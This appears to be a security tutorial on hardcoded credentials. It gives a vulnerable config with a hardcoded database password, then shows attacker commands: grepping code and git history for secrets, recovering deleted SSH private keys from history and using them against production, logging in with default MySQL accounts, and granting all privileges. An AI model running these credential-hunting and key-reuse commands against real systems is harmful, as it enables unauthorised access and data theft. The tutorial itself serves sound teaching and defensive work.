Hardcoded credentials are the easiest attack vector:
No exploitation needed: Just use the credentials
Permanently compromised: Can't be changed without code modification
Mass exposure: Same credentials on all deployments
Easy discovery: Found in source code, binaries, git history
Insider threat: Any developer has production credentials
Complete bypass: Authentication entirely bypassed
A single hardcoded credential can compromise thousands of deployments.
Real-World Attack Scenarios
Scenario 1: Hardcoded Database Password in Code
Database credentials hardcoded in application:
# config.pyDB_HOST='prod-db.internal.company.com'DB_USER='app_user'DB_PASSWORD='SuperSecret123!@#'# HARDCODED!DB_DATABASE='production'# Used everywhere in applicationdefget_db_connection():return psycopg2.connect(host=DB_HOST,user=DB_USER,password=DB_PASSWORD,database=DB_DATABASE)
# Search git history
git log -p | grep -i "password\|secret"
# Found: DB_PASSWORD = 'SuperSecret123!@#'
# Use to access database
psql -h prod-db.internal.company.com -U app_user -d production
# SELECT * FROM users; # Access all data
# Search for credentials
grep -r "password\|secret\|key\|token" . --include="*.py" --include="*.js" --include="*.java"
# Or in git history
git log -p -S"password=" | head -50
# Try to connect without password
psql -h db.internal -U app_user -d production
# No password prompt, direct access!
redis-cli -h redis.internal
# No authentication, direct access to cache!
# Clone repository
git clone https://repo.git
# Find SSH key
find . -name "id_rsa" -o -name "*private*"
# Use key to SSH to servers
ssh -i .ssh/id_rsa deploy@production-server.com
# Now has access to production servers
# Can modify code, access data, create backdoors
# Check git history for deleted files
git log --all --full-history -- ".ssh/id_rsa"
# Recover deleted key from history
git show <commit>:.ssh/id_rsa > recovered_key
chmod 600 recovered_key
# Use recovered key
ssh -i recovered_key deploy@production-server.com
-- Database accounts
CREATE USER 'test'@'localhost' IDENTIFIED BY 'test';
CREATE USER 'backup'@'localhost' IDENTIFIED BY '123456';
CREATE USER 'admin'@'localhost' IDENTIFIED BY 'admin';
-- Only production account has strong password
-- But test/backup accounts still exist with default passwords
# Try default test accounts
mysql -h db.internal -u test -ptest
# Or
mysql -h db.internal -u backup -p123456
# Or
mysql -h db.internal -u admin -padmin
# One succeeds!
mysql> GRANT ALL ON *.* TO user@'%';
# Now attacker has admin access
# Search for password patterns
grep -r "password\|secret\|key\|api_key\|token" . \
--include="*.py" \
--include="*.js" \
--include="*.java" \
--include="*.php"
# More specific
grep -r "=.*['\"]" . | grep -i "password\|secret"